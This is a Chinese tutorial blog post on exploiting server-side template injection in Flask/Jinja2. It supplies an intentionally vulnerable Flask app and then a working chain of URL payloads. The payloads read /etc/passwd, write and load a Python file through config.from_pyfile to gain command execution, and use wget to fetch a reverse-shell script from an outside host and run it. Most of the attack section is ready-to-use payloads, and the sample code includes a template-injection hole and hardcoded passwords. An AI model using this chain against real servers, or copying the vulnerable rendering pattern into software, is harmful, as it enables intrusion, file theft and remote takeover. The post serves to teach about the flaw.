内容简介:FlaskJinja2 开发中遇到的的服务端注入问题研究 II
0×00. 前言
本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》 续篇,我们继续研究 Flask Jinja2开发中遇到的SSTI问题,本篇文章会介绍新的利用方式。
0×01. 测试代码
为了更好地演示Flask/Jinja2 开发中的SSTI问题,我们搭建一个小的POC程序,主要由两个 python 脚本组成, 其中page_not_found 存在SSTI漏洞:
Flask-test.py
#!/usr/bin/env python
# -*- coding:utf8 -*-
import hashlib
import logging
from datetime import timedelta
from flask import Flask
from flask import request
from flask import config
from flask import session
from flask import render_template_string
from Config import ProductionConfig
app = Flask(__name__)
handler = logging.StreamHandler()
logging_format = logging.Formatter(
'%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s')
handler.setFormatter(logging_format)
app.logger.addHandler(handler)
app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7"
app.config.from_object(ProductionConfig) #将配置类中的配置导入程序
app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期
page_size = 60
app.config['UPLOAD_DIR'] = '/var/www/html/upload'
app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update'
app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download'
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template, dir=dir,help=help, locals=locals), 404
if __name__ == '__main__':
app.run(host='0.0.0.0')
Config.py
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
class Config(object):
ACCOUNT = 'vpgame'
PASSWORD = 'win666666'
class DevlopmentConfig(Config):
pass
class TestingConfig(Config):
pass
class ProductionConfig(Config):
HOST = '127.0.0.1'
PORT = 65521
DBUSERNAME = 'vpgame'
DBPASSWORD = 'win666666'
DBNAME = 'vpgame'
执行 python Flask-test.py
0×02. Flask/Jinja2 开发中的SSTI 利用之任意文件读取
先介绍一些概念
关于类对象
instance.__class__ 可以获取当前实例的类对象
我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新
式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)
类对象中的属性__mro__
class.__mro__ 获取当前类对象的所有继承类
python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序
http://10.1.100.3:5000/ {{”.__class__.__mro__}}
从结果中可以发现”对应的类对象str继承的顺序是basestring->object
类对象中的方法__subclasses__()
每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)
我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象
开始漏洞利用
首先获取object对象的所有子类引用列表
http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()}}
”.__class__.__mro__[2] 获取的就是object 类对象(<type ‘object’>)
从执行结果中可以看到,获取到非常多的子类类对象引用,这里我们比较关注的是file类对象(<type ‘file’>), 可以用来进行文件读取
我们选取file 类对象,并实例化一个匿名实例,给其传入参数 ‘/etc/passwd’
http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()[40](‘/etc/passwd’).read()}}
可以看到成功实现了任意文件读取
0×03. Flask/Jinja2 开发中的SSTI 利用之远程代码执行
1 首先向服务器写入一个py代码的文件/tmp/tmp.cfg
访问如下URL
http://10.1.100.3:5000/ {{”.__class__.__mro__[2].__subclasses__()[40](‘/tmp/tmp.cfg’, ‘w’).write(‘from subprocess import check_output\n\n RUNCMD = check_output\n ‘)}}
注: 这里需要注意直接在浏览器中访问这个URL,浏览器自动将\n 变成/n, 所以要用burpsuite 的repeater 功能辅助一下
至此写入文件成功
2 利用Flask Template Globals 中的config上下文对象导入py代码
上一篇《Flask Jinja2开发中遇到的的服务端注入问题研究》中我们提到了render_template_string 函数中第二个参数context 这个上下文对象参数 默认值中就包含了Flask Template Globals 所有的全局变量,其中就包括config这个上下文对象(源代码Flask/config.py), from_pyfile 用于导入指定的py文件,源代码如下:
def from_pyfile(self, filename, silent=False):
filename = os.path.join(self.root_path, filename)
d = imp.new_module('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
这段代码的意思就是将指定的py文件导入,然后将导入的py文件中的大写成员属性加入到config这个上下文对象中(这就是为什么我用RUNCMD了,大写)
先访问:
http://10.1.100.3:5000/ {{config.from_pyfile(‘/tmp/tmp.cfg’)}}
再访问:
http://10.1.100.3:5000/ {{config.items()}}
至此,我们已经将RUNCMD导入到config这个模板上下文对象中了,而RUNCMD指向subprocess.check_output
3 利用注入的RUNCMD 执行系统命令下载反弹shell
访问:
http://10.1.100.3:5000/ {{config['RUNCMD'](‘/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x’, shell=True)}}
从执行结果来看,反弹 shell 下载成功
4 利用config 上下文对象的from_pyfile方法导入反弹shell
我们知道python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了
访问:
http://10.1.100.3:5000/ {{config.from_pyfile(‘/tmp/x’)}}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Algorithms + Data Structures = Programs
Niklaus Wirth / Prentice Hall / 1975-11-11 / GBP 84.95
It might seem completely dated with all its examples written in the now outmoded Pascal programming language (well, unless you are one of those Delphi zealot trying to resist to the Java/.NET dominanc......一起来看看 《Algorithms + Data Structures = Programs》 这本书的介绍吧!